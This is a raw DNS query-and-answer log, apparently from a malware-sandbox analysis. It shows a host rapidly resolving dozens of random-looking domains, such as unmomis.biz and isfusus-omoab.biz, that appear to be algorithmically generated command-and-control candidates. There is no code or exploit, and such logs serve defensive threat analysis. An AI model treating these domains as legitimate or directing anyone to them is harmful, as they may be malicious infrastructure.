Dec 4, 2023 12:35:41.497306108 CET	192.168.2.6	1.1.1.1	0x732f	Standard query (0)	wowhpjqeagx.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:41.807336092 CET	192.168.2.6	1.1.1.1	0x91d	Standard query (0)	kyutfggw.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:42.108293056 CET	192.168.2.6	1.1.1.1	0x3784	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:42.206001043 CET	192.168.2.6	1.1.1.1	0x4fbf	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:42.416429996 CET	192.168.2.6	1.1.1.1	0xe9e6	Standard query (0)	iumeadq.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:42.668700933 CET	192.168.2.6	1.1.1.1	0x59a4	Standard query (0)	iumeadq.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:42.869451046 CET	192.168.2.6	1.1.1.1	0x9a6c	Standard query (0)	efiduysw.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:42.974360943 CET	192.168.2.6	1.1.1.1	0x5cb2	Standard query (0)	efiduysw.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:43.182852983 CET	192.168.2.6	1.1.1.1	0x5d9c	Standard query (0)	kqqjawrfqquku.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:43.538193941 CET	192.168.2.6	1.1.1.1	0xe304	Standard query (0)	kqqjawrfqquku.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:43.744657993 CET	192.168.2.6	1.1.1.1	0xe09f	Standard query (0)	xygoimlwqag.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:43.935695887 CET	192.168.2.6	1.1.1.1	0xb9d1	Standard query (0)	xygoimlwqag.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:44.245691061 CET	192.168.2.6	1.1.1.1	0x4e87	Standard query (0)	yekmsfmwcwocqq.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:44.517342091 CET	192.168.2.6	1.1.1.1	0x5a50	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:44.616627932 CET	192.168.2.6	1.1.1.1	0xf5d7	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:44.824655056 CET	192.168.2.6	1.1.1.1	0x5477	Standard query (0)	ywemtskiggg.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:44.929197073 CET	192.168.2.6	1.1.1.1	0x64f1	Standard query (0)	ywemtskiggg.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:45.291511059 CET	192.168.2.6	1.1.1.1	0x311	Standard query (0)	oadvlaconzhai.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:45.744246006 CET	192.168.2.6	1.1.1.1	0xb1c3	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:45.877043009 CET	192.168.2.6	1.1.1.1	0x8c27	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:46.089114904 CET	192.168.2.6	1.1.1.1	0xf9c	Standard query (0)	afiomoagjsqeo.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:46.294536114 CET	192.168.2.6	1.1.1.1	0x72ea	Standard query (0)	afiomoagjsqeo.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:46.776295900 CET	192.168.2.6	1.1.1.1	0xc5cc	Standard query (0)	rinurug.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:48.662049055 CET	192.168.2.6	1.1.1.1	0xb1ac	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:48.761188984 CET	192.168.2.6	1.1.1.1	0xc867	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:48.963025093 CET	192.168.2.6	1.1.1.1	0x8da7	Standard query (0)	asmqldwuiwcwm.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:49.064317942 CET	192.168.2.6	1.1.1.1	0xebcf	Standard query (0)	asmqldwuiwcwm.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:49.275742054 CET	192.168.2.6	1.1.1.1	0x5bd0	Standard query (0)	dzqug.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:49.390301943 CET	192.168.2.6	1.1.1.1	0xab1d	Standard query (0)	dzqug.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:49.604562998 CET	192.168.2.6	1.1.1.1	0x69eb	Standard query (0)	zmiska.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:49.877902985 CET	192.168.2.6	1.1.1.1	0x917d	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:49.991398096 CET	192.168.2.6	1.1.1.1	0xb70a	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:50.197360992 CET	192.168.2.6	1.1.1.1	0x3810	Standard query (0)	gwmswyupyceds.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:50.305345058 CET	192.168.2.6	1.1.1.1	0xb455	Standard query (0)	gwmswyupyceds.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:50.510113955 CET	192.168.2.6	1.1.1.1	0x1596	Standard query (0)	tosfexa.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:50.625417948 CET	192.168.2.6	1.1.1.1	0xea58	Standard query (0)	tosfexa.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:51.040966988 CET	192.168.2.6	1.1.1.1	0x5148	Standard query (0)	igymrlorytmwc.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:51.161057949 CET	192.168.2.6	1.1.1.1	0xc513	Standard query (0)	igymrlorytmwc.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:51.369457960 CET	192.168.2.6	1.1.1.1	0xc354	Standard query (0)	kefoqi.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:51.567430973 CET	192.168.2.6	1.1.1.1	0x53a7	Standard query (0)	kefoqi.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:51.869620085 CET	192.168.2.6	1.1.1.1	0x3589	Standard query (0)	pcqkpgmgrgx.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:52.144079924 CET	192.168.2.6	1.1.1.1	0x5208	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:52.245836973 CET	192.168.2.6	1.1.1.1	0x5d25	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:52.448227882 CET	192.168.2.6	1.1.1.1	0x9663	Standard query (0)	wqsfxtzkmcu.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:52.568986893 CET	192.168.2.6	1.1.1.1	0x8edd	Standard query (0)	wqsfxtzkmcu.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:52.931950092 CET	192.168.2.6	1.1.1.1	0x661d	Standard query (0)	cpkkmssiqdbky.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:53.224030972 CET	192.168.2.6	1.1.1.1	0xd08e	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:53.332787037 CET	192.168.2.6	1.1.1.1	0x4c24	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:53.541383028 CET	192.168.2.6	1.1.1.1	0x1324	Standard query (0)	akeuusm.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:53.913840055 CET	192.168.2.6	1.1.1.1	0xac10	Standard query (0)	akeuusm.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:54.374238968 CET	192.168.2.6	1.1.1.1	0xee22	Standard query (0)	iidoygkltzmou.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:54.630680084 CET	192.168.2.6	1.1.1.1	0xdca	Standard query (0)	iidoygkltzmou.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:54.838135958 CET	192.168.2.6	1.1.1.1	0xb123	Standard query (0)	gtmubeksl.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:55.179215908 CET	192.168.2.6	1.1.1.1	0x388c	Standard query (0)	gtmubeksl.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:55.635308981 CET	192.168.2.6	1.1.1.1	0xde6a	Standard query (0)	lkseeysm.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:55.960844994 CET	192.168.2.6	1.1.1.1	0x9d95	Standard query (0)	lkseeysm.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:56.400635958 CET	192.168.2.6	1.1.1.1	0x10f2	Standard query (0)	mexuvggwn.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:56.687923908 CET	192.168.2.6	1.1.1.1	0x1a88	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:56.793113947 CET	192.168.2.6	1.1.1.1	0xd81a	Standard query (0)	unmomis.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:57.009895086 CET	192.168.2.6	1.1.1.1	0x5802	Standard query (0)	givmmivuiyq.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:57.351317883 CET	192.168.2.6	1.1.1.1	0xc58	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:57.470555067 CET	192.168.2.6	1.1.1.1	0xf831	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:57.681734085 CET	192.168.2.6	1.1.1.1	0xb035	Standard query (0)	yyucqk.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:57.834691048 CET	192.168.2.6	1.1.1.1	0x6e04	Standard query (0)	yyucqk.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:58.292258978 CET	192.168.2.6	1.1.1.1	0x3144	Standard query (0)	jqueouldxzhhc.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:58.406590939 CET	192.168.2.6	1.1.1.1	0x3f15	Standard query (0)	jqueouldxzhhc.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:58.713701963 CET	192.168.2.6	1.1.1.1	0xda1a	Standard query (0)	otvidufz.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:58.977209091 CET	192.168.2.6	1.1.1.1	0x1cb6	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:59.093666077 CET	192.168.2.6	1.1.1.1	0x14a5	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:59.308044910 CET	192.168.2.6	1.1.1.1	0x3909	Standard query (0)	imuic.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:59.600461960 CET	192.168.2.6	1.1.1.1	0x946	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:59.698446035 CET	192.168.2.6	1.1.1.1	0x2b2	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:35:59.916271925 CET	192.168.2.6	1.1.1.1	0x1738	Standard query (0)	kkbumqmyujocu.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:00.021485090 CET	192.168.2.6	1.1.1.1	0xf53d	Standard query (0)	kkbumqmyujocu.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:00.228790045 CET	192.168.2.6	1.1.1.1	0xbe67	Standard query (0)	gnkag.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:00.334747076 CET	192.168.2.6	1.1.1.1	0x7632	Standard query (0)	gnkag.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:00.541565895 CET	192.168.2.6	1.1.1.1	0xc0ea	Standard query (0)	idyxomuegyumh.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:00.645380020 CET	192.168.2.6	1.1.1.1	0x5de	Standard query (0)	idyxomuegyumh.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:01.010380030 CET	192.168.2.6	1.1.1.1	0x4e5e	Standard query (0)	aeuodisoo.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:01.373512983 CET	192.168.2.6	1.1.1.1	0x4fb8	Standard query (0)	aeuodisoo.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:01.822973013 CET	192.168.2.6	1.1.1.1	0x43e	Standard query (0)	opsiyrygcixpmu.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:01.932733059 CET	192.168.2.6	1.1.1.1	0x927d	Standard query (0)	opsiyrygcixpmu.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:02.150804996 CET	192.168.2.6	1.1.1.1	0x1ee1	Standard query (0)	tacmystokqc.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:02.464879036 CET	192.168.2.6	1.1.1.1	0xa898	Standard query (0)	tacmystokqc.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:02.884926081 CET	192.168.2.6	1.1.1.1	0xbc00	Standard query (0)	asnowslrmxc.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:02.986747980 CET	192.168.2.6	1.1.1.1	0xb63a	Standard query (0)	asnowslrmxc.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:03.213314056 CET	192.168.2.6	1.1.1.1	0x3798	Standard query (0)	jxuuggggk.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:03.313025951 CET	192.168.2.6	1.1.1.1	0xac6c	Standard query (0)	jxuuggggk.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:03.526324987 CET	192.168.2.6	1.1.1.1	0x1a6f	Standard query (0)	oybwemypqqd.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:03.721892118 CET	192.168.2.6	1.1.1.1	0x2315	Standard query (0)	oybwemypqqd.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:03.931974888 CET	192.168.2.6	1.1.1.1	0xd24b	Standard query (0)	nufasydbseiax.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:04.286714077 CET	192.168.2.6	1.1.1.1	0x59b2	Standard query (0)	nufasydbseiax.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:04.744301081 CET	192.168.2.6	1.1.1.1	0xa773	Standard query (0)	igwhowmy.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:05.041080952 CET	192.168.2.6	1.1.1.1	0xbc18	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:05.150624990 CET	192.168.2.6	1.1.1.1	0x3896	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:05.356053114 CET	192.168.2.6	1.1.1.1	0x60ba	Standard query (0)	uekqcmykw.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:05.461569071 CET	192.168.2.6	1.1.1.1	0x8abf	Standard query (0)	uekqcmykw.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:05.669248104 CET	192.168.2.6	1.1.1.1	0x6d9b	Standard query (0)	ktyrs.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:06.022249937 CET	192.168.2.6	1.1.1.1	0xf227	Standard query (0)	ktyrs.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:06.792049885 CET	192.168.2.6	1.1.1.1	0xc807	Standard query (0)	aypoarfksecsc.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:06.993835926 CET	192.168.2.6	1.1.1.1	0x5f45	Standard query (0)	aypoarfksecsc.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:07.291115999 CET	192.168.2.6	1.1.1.1	0x95b3	Standard query (0)	ygmgq.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:07.639138937 CET	192.168.2.6	1.1.1.1	0x9719	Standard query (0)	ygmgq.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:08.073311090 CET	192.168.2.6	1.1.1.1	0x3793	Standard query (0)	csobayuhekvla.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:08.399386883 CET	192.168.2.6	1.1.1.1	0x1621	Standard query (0)	csobayuhekvla.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:08.604130983 CET	192.168.2.6	1.1.1.1	0x849d	Standard query (0)	xgikausivxwzy.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:08.966362953 CET	192.168.2.6	1.1.1.1	0xc774	Standard query (0)	xgikausivxwzy.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:09.416006088 CET	192.168.2.6	1.1.1.1	0xb21c	Standard query (0)	zbgockeg.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:09.615534067 CET	192.168.2.6	1.1.1.1	0x6001	Standard query (0)	zbgockeg.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:09.916281939 CET	192.168.2.6	1.1.1.1	0xca7f	Standard query (0)	gnhlmcih.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:10.738343000 CET	192.168.2.6	1.1.1.1	0x8909	Standard query (0)	gnhlmcih.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:11.168709993 CET	192.168.2.6	1.1.1.1	0x773	Standard query (0)	bamku.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:11.575196028 CET	192.168.2.6	1.1.1.1	0x55dd	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:11.675275087 CET	192.168.2.6	1.1.1.1	0x216c	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:11.884757996 CET	192.168.2.6	1.1.1.1	0x730e	Standard query (0)	ymwkgkg.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:11.986069918 CET	192.168.2.6	1.1.1.1	0x2d86	Standard query (0)	ymwkgkg.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:12.197736979 CET	192.168.2.6	1.1.1.1	0xa409	Standard query (0)	qnsqksa.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:12.309950113 CET	192.168.2.6	1.1.1.1	0xc0c8	Standard query (0)	qnsqksa.nu	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:12.604163885 CET	192.168.2.6	1.1.1.1	0x3b1	Standard query (0)	wckmtskxmyeicc.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:12.802874088 CET	192.168.2.6	1.1.1.1	0xe747	Standard query (0)	wckmtskxmyeicc.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:13.103936911 CET	192.168.2.6	1.1.1.1	0xc2e8	Standard query (0)	inyaa.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:13.404134035 CET	192.168.2.6	1.1.1.1	0x2bf4	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:13.512556076 CET	192.168.2.6	1.1.1.1	0xd6b1	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:13.760871887 CET	192.168.2.6	1.1.1.1	0xbb3d	Standard query (0)	eqjpscl.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:13.968746901 CET	192.168.2.6	1.1.1.1	0xbed2	Standard query (0)	eqjpscl.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:14.259988070 CET	192.168.2.6	1.1.1.1	0x8321	Standard query (0)	qicnawevodqu.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:14.584394932 CET	192.168.2.6	1.1.1.1	0x1e6e	Standard query (0)	qicnawevodqu.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:15.010126114 CET	192.168.2.6	1.1.1.1	0xbdac	Standard query (0)	coiibqmkmgy.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:15.117757082 CET	192.168.2.6	1.1.1.1	0x7426	Standard query (0)	coiibqmkmgy.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:15.326483965 CET	192.168.2.6	1.1.1.1	0x3a9c	Standard query (0)	ecswcomtsjyfa.ws	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:15.647320032 CET	192.168.2.6	1.1.1.1	0xceb7	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:15.748362064 CET	192.168.2.6	1.1.1.1	0x397c	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:15.948018074 CET	192.168.2.6	1.1.1.1	0x8247	Standard query (0)	qazpmu.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:16.113301992 CET	192.168.2.6	1.1.1.1	0x1036	Standard query (0)	qazpmu.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:16.323708057 CET	192.168.2.6	1.1.1.1	0x6791	Standard query (0)	wkyunesozky.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:16.539295912 CET	192.168.2.6	1.1.1.1	0x5da1	Standard query (0)	wkyunesozky.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:16.838974953 CET	192.168.2.6	1.1.1.1	0xf18f	Standard query (0)	smbkzs.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:16.989413023 CET	192.168.2.6	1.1.1.1	0xe01c	Standard query (0)	smbkzs.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:17.198760986 CET	192.168.2.6	1.1.1.1	0x94ac	Standard query (0)	qoemipjwv.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:17.307665110 CET	192.168.2.6	1.1.1.1	0xd28f	Standard query (0)	qoemipjwv.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:17.729121923 CET	192.168.2.6	1.1.1.1	0xf88c	Standard query (0)	yicvwfgkc.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:18.092112064 CET	192.168.2.6	1.1.1.1	0xc6e6	Standard query (0)	yicvwfgkc.tk	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:18.525743961 CET	192.168.2.6	1.1.1.1	0xf774	Standard query (0)	tyzysm.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:18.650141001 CET	192.168.2.6	1.1.1.1	0x49e3	Standard query (0)	tyzysm.museum	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:18.861599922 CET	192.168.2.6	1.1.1.1	0x3ce0	Standard query (0)	mlnvwxmb.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:19.131957054 CET	192.168.2.6	1.1.1.1	0xbb6	Standard query (0)	mlnvwxmb.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:19.635071039 CET	192.168.2.6	1.1.1.1	0xb4fc	Standard query (0)	qeywh.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:19.739209890 CET	192.168.2.6	1.1.1.1	0x1fd6	Standard query (0)	qeywh.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:21.808176994 CET	192.168.2.6	1.1.1.1	0xdbba	Standard query (0)	uboee.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:22.184910059 CET	192.168.2.6	1.1.1.1	0xbb86	Standard query (0)	uboee.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:22.478615999 CET	192.168.2.6	1.1.1.1	0xac59	Standard query (0)	gcjmtzioi.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:22.793361902 CET	192.168.2.6	1.1.1.1	0xcdb8	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:22.892926931 CET	192.168.2.6	1.1.1.1	0x8419	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:23.088428974 CET	192.168.2.6	1.1.1.1	0x973c	Standard query (0)	tkeauqkgkazmn.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:23.471612930 CET	192.168.2.6	1.1.1.1	0x5e30	Standard query (0)	tkeauqkgkazmn.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:23.869642973 CET	192.168.2.6	1.1.1.1	0x9577	Standard query (0)	ooybhuv.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:23.972470999 CET	192.168.2.6	1.1.1.1	0x79a4	Standard query (0)	ooybhuv.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:24.401135921 CET	192.168.2.6	1.1.1.1	0xc958	Standard query (0)	avscooaicdshq.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:24.755462885 CET	192.168.2.6	1.1.1.1	0xcd89	Standard query (0)	avscooaicdshq.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:25.682008982 CET	192.168.2.6	1.1.1.1	0xd603	Standard query (0)	uioqinqw.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:25.897420883 CET	192.168.2.6	1.1.1.1	0xe868	Standard query (0)	uioqinqw.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:26.197429895 CET	192.168.2.6	1.1.1.1	0x76e8	Standard query (0)	wmjwdixoh.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:26.297928095 CET	192.168.2.6	1.1.1.1	0xdb9c	Standard query (0)	wmjwdixoh.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:26.651624918 CET	192.168.2.6	1.1.1.1	0x5676	Standard query (0)	cjufzqjzsqsfh.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:26.873011112 CET	192.168.2.6	1.1.1.1	0x5eee	Standard query (0)	cjufzqjzsqsfh.st	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:27.166553020 CET	192.168.2.6	1.1.1.1	0x42c3	Standard query (0)	ccjasobgowmrg.vg	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:27.612078905 CET	192.168.2.6	1.1.1.1	0x46d1	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:27.856457949 CET	192.168.2.6	1.1.1.1	0x73f	Standard query (0)	isfusus-omoab.biz	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:28.057140112 CET	192.168.2.6	1.1.1.1	0x55f	Standard query (0)	kpnkkzi.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:28.635889053 CET	192.168.2.6	1.1.1.1	0x192b	Standard query (0)	kpnkkzi.mp	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:29.324805021 CET	192.168.2.6	1.1.1.1	0x6804	Standard query (0)	ogsdabuwibmkq.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:29.427134037 CET	192.168.2.6	1.1.1.1	0x9c8e	Standard query (0)	ogsdabuwibmkq.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:29.776536942 CET	192.168.2.6	1.1.1.1	0x48c8	Standard query (0)	xmppjqkmlcssm.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:29.971474886 CET	192.168.2.6	1.1.1.1	0x3ac	Standard query (0)	xmppjqkmlcssm.cd	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:30.666555882 CET	192.168.2.6	1.1.1.1	0xaf86	Standard query (0)	bjuai.pw	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:36:30.928738117 CET	192.168.2.6	1.1.1.1	0x8725	Standard query (0)	bjuai.pw	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 4, 2023 12:32:27.842519999 CET	1.1.1.1	192.168.2.6	0x3824	Name error (3)	owwecumt.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:29.373723030 CET	1.1.1.1	192.168.2.6	0x3c68	Name error (3)	owwecumt.mp	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:30.159612894 CET	1.1.1.1	192.168.2.6	0x7286	Name error (3)	wxfqhxagktwgx.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:30.499965906 CET	1.1.1.1	192.168.2.6	0x4b7b	Name error (3)	wxfqhxagktwgx.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:31.288420916 CET	1.1.1.1	192.168.2.6	0xf8e7	Name error (3)	iaqjicjqutgbe.tk	none	none	A (IP address)	IN (0x0001)	false
Dec 4, 2023 12:32:31.400650978 CET	1.1.1.1	192.168.2.6	0x4517	Name error (3)	iaqjicjqutgbe.tk	none	none	A (IP address)	IN (0x0001)	false
